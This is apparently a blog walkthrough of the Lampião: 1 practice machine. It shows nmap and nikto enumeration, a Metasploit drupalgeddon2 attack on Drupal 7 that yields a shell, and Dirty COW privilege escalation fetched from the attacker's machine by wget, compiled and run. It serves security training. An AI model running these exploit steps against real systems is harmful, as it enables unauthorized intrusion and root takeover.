Lampião: 1

Lab Environment

Attacker's Machine - Linux kali 4.18.0-kali1-amd64 #1 SMP Debian 4.18.6-1kali1 (2018-09-10) x86_64 GNU/Linux

Vulnerable Machine - Lampião: 1

Proof Of Concept

Scanning Phase
arp-scan --local (to scan for the machines connected to the network)
vulnerable machine IP - 192.168.43.17


Now i will use nmap for further scanning the machine's IP

nmap -p -Pn 192.168.43.17


Now i tried to access the IP on port 1898


Further i used nikto for further enumeration

Syntax for nikto : nikto -h 192.168.43.17:1898
Useful result : drupal 7 is installed


So i tried to search the exploits of drupal 7 on exploit-db , and found the exploit.
Exploit : drupalgeddon2
Which is already present in my machine.


I fired up msfconsole to use drupalgeddon2 on target machine
Syntax to search exploit in msfconsole : search exploit name


Now i have to use the exploit
Syntax to use the exploit : use exploit/unix/webapp/drupal_drupalgeddon2


Now i have to provide certain requirements of exploit so as to exploit target IP
Syntax to explore the requirements of exploit : show options OR options


Now set the required fields as follows :
set RHOST 192.168.43.17
set  RPORT 1898
After providing the necessary requirements just run the exploit
Syntax to run the exploit : exploit
And got the meterpreter session



Then further entered the shell by simply typing shell in meterpreter


Then i was unable to open the root directory as i was not having enough permissions .
So i understood that have to do escalate the privileges .
So i entered n tmp directory and found the info of target machine by just typing uname -a
I get to know that target machine is ubuntu 14.04 LTS
So i downloaded dirty cow exploit to escalate privileges for the target machine from exploit-db(https://www.exploit-db.com/exploits/40847/)


Now i started python server on my attacking machine so as to transfer the 40847.cpp to target machine .


Command used to download file in target machine from server
Command : wget http://attacker’s machine ip in which file is originally downloaded/Downloads/40847.cpp


After it has been downloaded to the tmp directory of target machine ,i ran it simply by using the following commands.
Command : 1) g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
           2)./dcow -s
And finally got the flag


   
                                            Video Tutorial 

 


Popular posts from this blog

Calculat3 M3 | CTF Learn

TryHackme: Blue Walkthrough

CTF - Dina : 1.0.1 walkthrough